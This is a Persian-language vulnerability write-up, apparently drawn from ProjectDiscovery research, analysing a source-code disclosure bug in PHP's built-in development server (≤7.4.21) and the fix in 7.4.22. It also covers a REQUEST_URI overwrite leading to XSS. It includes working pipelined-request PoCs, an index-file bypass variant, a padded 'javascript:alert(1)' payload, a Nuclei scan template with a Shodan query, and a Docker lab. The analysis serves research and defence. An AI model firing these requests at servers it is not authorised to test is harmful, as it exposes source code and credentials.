محققای Projectdiscovery یه آسیب پذیری در نسخه های PHP Development Server <= 7.4.21 کشف و یه رایت آپ براش نوشتن.
زبان PHP از نسخه ۵٫۴ به بعد مجهز به یک وب سرور داخلی شده. وقتی که بخوایید یه اسکریپت PHP رو سریع تست کنید این وب سرور داخلی بسیار مفیده. این وب سرور داخلی برای استفاده از تمام امکانات PHP طراحی نشده و فقط جهت تست و یا اجرا کردن سریع اسکریپت ها به کار میروه.
کشف آسیب پذیری اینجوری بوده که تو یه تستی متوجه رفتار عجیب وب سرور داخلی PHP شدن. در حقیقت به جای اجرای فایلهای PHP ، اونارو بعنوان یه فایل استاتیک میدید. یعنی بجای اینکه اونارو اجرا کنه ، سورسشون رو نمایش میداد.
بررسی رو ادامه دادن و دیدن که این باگ در نسخه های آخر PHP وجود نداره. بنابراین خواستن ببینن این آسیب پذیری در کدوم نسخه رفع شده. در نهایت به نسخه 7.4.22 رسیدن که این باگ توش رفع شده.
بررسی علت آسیب پذیری:
برای بررسی بیشتر نسخه اصلاح شده و آسیب پذیر رو با روش ، Patch Diff بررسی کردن. تغییرات نسخه های 7.4.21 و 7.4.22 رو میتونید اینجا ببینید.
وقتی POC زیر رو به نسخه آسیب پذیر می فرستیم :
1 2 3 4 5 6 7 |
GET /phpinfo.php HTTP/1.1 Host: pd.research \r\n \r\n GET / HTTP/1.1 \r\n \r\n |
کل درخواست HTTP توسط php_cli_server_client_read_request مدیریت میشه. یه همچین مسیری طی میشه :
1 2 3 4 5 6 7 8 |
main(...) do_cli_server(...) php_cli_server_do_event_loop(...) php_cli_server_do_event_for_each_fd(...) php_cli_server_poller_iter_on_active(...) php_cli_server_do_event_for_each_fd_callback(...) php_cli_server_recv_event_read_request(...) php_cli_server_client_read_request(...) |
تابع php_cli_server_client_read_request در ادامه تابع php_http_parser_execute رو فراخوانی میکنه. همونطور که از اسم این تابع مشخصه کارش تجزیه و تحلیل درخواست HTTP . مقدار برگشتی این تابع تعداد بایت های تجزیه شده هستش. در حقیقت از این مقدار برای اینکه متوجه بشن چند بایت از درخواست تجزیه شده و چه مقدارش باقی مونده استفاده میکنن.
وقتی قسمت اول درخواستمون تقریبا تجزیه و تحلیل میشه :
1 2 3 4 |
GET /phpinfo.php HTTP/1.1 Host: pd.research \r\n \r\n |
چون درخواست حاوی هدر Content-Length نیست ، CALLBACK2(message_complete) فراخوانی میشه. خوده CALLBACK2 یه ماکرو هستش که یه تابع callback بنام php_cli_server_client_read_request_on_message_complete رو بعد از پردازش پیام ، فراخوانی میکنه. (کد کامل)
1 2 3 4 5 |
if (parser->type == PHP_HTTP_REQUEST || php_http_should_keep_alive(parser)) { /* Assume content-length 0 - read the next */ CALLBACK2(message_complete); // Here state = NEW_MESSAGE(); // Afterwards the state is reverted back to start_state } |
این ماکرو CALLBACK2 اینجوری کار میکنه که ، در ابتدا اینجوری تعریف شده : (کد کامل)
1 2 3 4 5 6 7 |
#define CALLBACK2(FOR) do { if (settings->on_##FOR) { if (0 != settings->on_##FOR(parser)) return (p - data); } } \\ while (0) |
و در ادامه به CALLBACK2(message_complete) میرسیم :
1 2 3 4 5 |
do { if (settings->on_message_complete) { if (0 != **settings->on_message_complete**(parser)) return (p - data); } } while (0) |
در کد بالا settings یه ساختاری از نوع php_http_parser_settings هستش که اعضاش اینان 🙁کدکامل)
1 2 3 4 5 6 7 8 9 10 11 12 |
struct php_http_parser_settings { php_http_cb on_message_begin; php_http_data_cb on_path; php_http_data_cb on_query_string; php_http_data_cb on_url; php_http_data_cb on_fragment; php_http_data_cb on_header_field; php_http_data_cb on_header_value; php_http_cb on_headers_complete; php_http_data_cb on_body; php_http_cb on_message_complete; }; |
تمام این اعضا توسط تابع Callback همون php_cli_server_client_read_request پر میشن : (کد کامل)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
static int php_cli_server_client_read_request(php_cli_server_client *client, char **errstr) { char buf[16384]; static const php_http_parser_settings settings = { php_cli_server_client_read_request_on_message_begin, php_cli_server_client_read_request_on_path, php_cli_server_client_read_request_on_query_string, php_cli_server_client_read_request_on_url, php_cli_server_client_read_request_on_fragment, php_cli_server_client_read_request_on_header_field, php_cli_server_client_read_request_on_header_value, php_cli_server_client_read_request_on_headers_complete, php_cli_server_client_read_request_on_body, php_cli_server_client_read_request_on_message_complete }; |
در ادامه settings بصورت یه رفرنس بعنوان آرگومان به تابع php_http_parser_execute پاس داده میشه. (کد کامل)
1 |
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read); |
ماکروهای دیگه ای مانند CALLBACK و CALLBACK_NOCLEAR هم وجود داره که تقریبا مشابه هم عمل میکنن. بنابراین CALLBACK2(message_complete) منجر به فراخوانی php_cli_server_client_read_request_on_message_complete میشه و ماکرو CALLBACK(path) منجر به فراخونی php_cli_server_client_read_request_on_path میشه. (کد کامل)
1 2 3 4 5 6 |
static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser) { ... php_cli_server_request_translate_vpath(&client->request, client->server->document_root, client->server->document_root_len); ... } |
در ادامه همونطور که در کد بالا هم مشاهده میکنید ، وارد تابع php_cli_server_request_translate_vpath میشیم. این تابع مسیر فایل درخواستی PHP رو به مسیر کامل (full path) در فایل سیستم تبدیل میکنه. اگه فایل درخواستی یه دایرکتوری باشه ، دنباله فایلهای ایندکسی مثله index.php یا index.html داخل دایرکتوری میگرده. اگه یکی از این فایلهارو پیدا کنه از مسیر اون استفاده میکنه. این باعث میشه که سرور فایل صحیح رو به درخواست ارائه بده.
بطور خلاصه این تابع مقادیر اعضای vpath و path_translated در ساختار request رو تنظیم میکنه. بنابراین برای درخواست تجزیه و تحلیل فعلی ، یعنی :
1 2 3 4 |
GET /phpinfo.php HTTP/1.1 Host: pd.research \r\n \r\n |
ما داخل یه شرط میشیم که در نهایت request->path_translated تنظیم میشه. این مهمه و به خاطر بسپاریدش . (کد کامل)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
static void php_cli_server_request_translate_vpath(php_cli_server_request *request, const char *document_root, size_t document_root_len) { ... else { pefree(request->vpath, 1); request->vpath = pestrndup(vpath, q - vpath, 1); request->vpath_len = q - vpath; // At this time buf is equal to /tmp/php/phpinfo.php where /tmp/php/ // is whatever the server's working directory is. request->path_translated = buf; // so the request->path_translated is now /tmp/php/phpinfo.php request->path_translated_len = q - buf; ... } ... } |
در ادامه به دلیل start_state درخواستمون، قسمت دوم درخواستمون پردازش میشه ، یعنی :
1 2 3 |
GET / HTTP/1.1 \r\n \r\n |
همانند بخش اول درخواست ، تابع php_cli_server_client_read_request_on_message_complete و در ادامه php_cli_server_request_translate_vpath فراخوانی میشه.
اما اینبار داخل تابع php_cli_server_request_translate_vpath به جای فایل ، درخواست یه دایرکتوری (/) کردیم، درنتیجه بخش دیگه از کد اجرا میشه : (کد کامل)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
... // loops and checks for index.php, index.html inside working dir while (*file) { size_t l = strlen(*file); memmove(q, *file, l + 1); if (!php_sys_stat(buf, &sb) && (sb.st_mode & S_IFREG)) { q += l break; } file++; } if (!*file || is_static_file) { // In case, index files are not present we enter here if (prev_path) { pefree(prev_path, 1); } pefree(buf, 1); return; // This time we return from the function // and no request->vpath or request->path_translated // is set. } ... |
بعد از این مراحل و اتمام اجرای تابع php_http_parser_execute ، مقادیر بازگشتی ، طول بایتهای تجزیه شده (nbytes_consumed) و طول بایتهای خوانده شده (nbytes_read) با هم مقایسه میشن. اگه مقادیر برابر باشن ، وارد تابع php_cli_server_dispatch میشیم.(کد کامل)
1 2 3 4 5 6 7 8 9 10 |
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) { ... if (client->request.ext_len != 3 || (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P') || !client->request.path_translated) { is_static_file = 1; } ... } |
اگه به کد بالا دقت کنید ، این کد بررسی میکنه که آیا فایل PHP رو بعنوان یه فایل استاتیک ببینه یا نه اونو اجرا کنه. این کار رو هم با بررسی پسوند .php انجام میده. اگه پسوند .php یا .PHP نباشه یا طول پسوند برابر 3 نباشه ، بنابراین بعنوان یه فایل استاتیک در نظر میگیره. این عمل با تنظیم عدد یک به is_static_file انجام میشه.
کد همچنین بررسی میکنه که فیلد path_translated در client->request مقدار null نداشته باشه. این فیلد حاوی مسیر کامل در سیستم فایل هستش (قبلا در موردش صحبت شده) . اگه مقدار این فیلد برابر null باشه ، نشان دهنده عدم پیدا شدن فایل درخواستی و درخواست بعنوان یه خطا در نظر گرفته میشه.
با مقداردهی true برای is_static_file ، تابع php_cli_server_begin_send_static اجرا میشه.(کد کامل)
1 2 3 4 5 6 7 8 9 |
if (!is_static_file) { ... // Executes the file as PHP script } else { ... if (SUCCESS != php_cli_server_begin_send_static(server, client)) { php_cli_server_close_connection(server, client); } ... } |
خب رسیدیم به اصل مشکل. بعد از بررسی قسمت دوم درخواستمون ، vpath روی / ست میشه، اگه فرض کنیم هیچ فایل ایندکسی پیدا نشه ، مقدار client->request.ext روی NULL تنظیم میشه. با این حال مقدار client->request.path_translated براساس قسمت اول درخواست ، روی /tmp/php/phpinfo.php ست شده. در ادامه client->request.ext بخش دوم درخواست، اجرا میشه و is_static_file روی یک ست میشه. (کد کامل)
1 2 3 4 5 6 7 8 9 |
static int php_cli_server_begin_send_static(php_cli_server *server, php_cli_server_client *client) { #ifdef PHP_WIN32 ... #else fd = client->request.path_translated ? open(client->request.path_translated, O_RDONLY): -1; #endif... client->file_fd = fd; ... } |
این تابع ، باعث میشه ، مسیر فایلی که در client->request.path_translated ذخیره شده ، باز و فایل قابل بازیابی بشه. در مثال ما ، این مقدار برابر /tmp/php/phpinfo.php هستش.
این اختلاف، جایی که بررسیها روی client->request.ext درخواست دوم اتفاق میافته، اما بعدش فایل در client->request.path_translated که توسط درخواست اول تنظیم شده ، باز میشه، منجر به افشای کد منبع میشه.
حالا با توجه به اینکه فایل به عنوان is_static_file ست میشه، fd خونده میشه و بجای اجرای اون ، اونو به عنوان فایل استاتیک باز میکنه.
بطور خلاصه ما با بخش اول درخواستمون فایلی که میخواییم داخلش رو ببینیم رو ارسال میکنیم و با بخش دوم درخواستمون ، کاری میکنیم که این فایل اجرا نشه و نمایش داده بشه.
نسخه اصلاح شده :
در نسخه 7.4.22 برای رفع آسیب پذیری یه ارزیابی اضافه شده ، تا بررسی کنه که آیا مقدار vpath در ساختار request ،وقتی که مسیر درخواست، بررسی میشه مقدار NULL نباشه. اگه Null نباشه ، مقدار 1 برمیگردونه. (کد کامل)
1 2 3 4 5 6 7 8 9 10 |
static int php_cli_server_client_read_request_on_path(php_http_parser *parser, const char *at, size_t length) { ... if (UNEXPECTED(client->request.vpath != NULL)) { return 1; } ... } return 0; } |
هنگامی که مسیر قسمت اول درخواست تجزیه میشه، client->request.vpath در ابتدا NULL میشه و بعدش /phpinfo.php ست میشه. با این حال، هنگامی که مسیر قسمت دوم درخواست تجزیه میشه، client->request.vpath از قبل تنظیم شده و NULL نیست که باعث میشه تابع 1 برگردونه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#define CALLBACK(FOR) do { CALLBACK_NOCLEAR(FOR); FOR##_mark = NULL; } while (0) #define CALLBACK_NOCLEAR(FOR) do { if (FOR##_mark) { if (settings->on_##FOR) { if (0 != settings->on_##FOR(parser, FOR##_mark, p - FOR##_mark)) { return (p - data); } } } } while (0) |
هنگان تجزیه مسیر درخواست دوم ، ما از CALLBACK(path) وارد تابع اصلاح شده php_cli_server_client_read_request_on_path میشیم. مقدار برگشتی ماکرو CALLBACK(path) تضمین میکنه که مقدارش همیشه صفر هستش. اگه اینجوری نباشه ، از تابع php_http_parser_execute برمیگردیم و مقدار برگشتی تعداد بایت هایی هستش که قبلاً هنگام تجزیه شده.
مقدار برگشتی در nbytes_consumed ذخیره میشه و با مقدار nbytes_read (تعداد واقعی بایتها در درخواست) مقایسه میشه.
1 2 3 4 5 6 7 8 9 10 11 12 |
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read); if (**nbytes_consumed != (size_t)nbytes_read**) { if (php_cli_server_log_level >= PHP_CLI_SERVER_LOG_ERROR) { if (buf[0] & 0x80 /* SSLv2 */ || buf[0] == 0x16 /* SSLv3/TLSv1 */) { *errstr = estrdup("Unsupported SSL request"); } else { *errstr = estrdup("Malformed HTTP request"); } } return -1; } |
اگه این مقایسه برابر نباشه ، نشون دهنده درخواست نادرسته. در این حالت اولین بایت بررسی میشه تا مشخص بشه درخواست ssl هستش یا نه. در غیر اینصورت درخواست روی Malformed HTTP request یا درخواست نادرست تنظیم میشه.
یه آسیب پذیری دیگه !
یه باگ دیگه هم وجود داشته که در نسخه های بعدی اصلاح شده. در طول تجزیه درخواست HTTP وقتی یسری callback خاص چندین بار فراخوانی میشن ، متغیر سرور ، REQUEST_URI ، توسط یه رشته ای بازنویسی میشه. این منجر به آسیب پذیری open redirect یا XSS میشه. یه مثال در زیر اومده :
1 |
<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a> |
درخواست GET /index.php?abcd بصورت زیر ارائه میشه :
1 |
<a href="/index.php?abcd">Unexpected url</a> |
کد بالا نشون میده که لینک همیشه به دامنه اشاره میکنه. همچنین meta-character ها به عناصر html تبدیل میشه ، بنابراین XSS نمیشه زد.
اما اگه مهاجم از یه درخواست GET با آدرس URL طولانی مثله زیر استفاده کنه ،
1 2 |
GET /?[AAAA...<1425 times>]javascript:alert(1) HTTP/1.1 Host: pd.research |
مقدار REQUEST_URI بازنویسی شده و javascript:alert(1) اجرا میشه. padding مورد نظر بسته به دستور فرق داره.
POC :
کد زیر یه نمونه اولیه هستش که php.info رو نشون میده. فقط نکته ای که وجود داره اینه که اگه تست می کنید ، بررسی کنید که Update Content-Length در Intercepting HTTP Proxy مانند BURP خاموش باشه.
1 2 3 4 5 6 |
GET /phpinfo.php HTTP/1.1 Host: pd.research \r\n GET / HTTP/1.1 \r\n \r\n |
یه نکته دیگه اینکه اگه داخل دایرکتوری درخواستی فایل ایندکس باشه ، PoC کار نمی کنه. اما با تغییر جزئی PoC میشه اینرو هم دور زد :
1 2 3 4 5 6 |
GET /index.php HTTP/1.1 Host: pd.research \r\n GET /xyz.xyz HTTP/1.1 \r\n \r\n |
Nuclei Template :
برای بررسی راحتتر یه تمپلیت Nuclei هم براش توسعه دادن :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
id: php-src-diclosure info: name: PHP <= 7.4.21 - Built-in Server Remote Source Disclosure author: pdteam severity: medium metadata: verified: true shodan-query: The requested resource <code class="url"> tags: php,phpcli,disclosure requests: - raw: - |+ GET / HTTP/1.1 Host: {{Hostname}} GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1 - |+ GET / HTTP/1.1 Host: {{Hostname}} unsafe: true matchers: - type: dsl dsl: - 'contains(body_1, "<?php")' - '!contains(body_2, "<?php")' condition: and |
دمو :
1 2 3 |
cat index.php <a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a> |
1 2 3 4 5 |
cat Dockerfile FROM php:7.4.21-zts-buster COPY index.php /var/www/html/index.php CMD ["php", "-S", "0.0.0.0:8888", "-t", "/var/www/html/"] |
1 2 3 4 |
docker build . -t phptest docker run -p 8888:8888 phptest [Sat Jan 28 20:09:07 2023] PHP 7.4.21 Development Server (http://0.0.0.0:8888) started |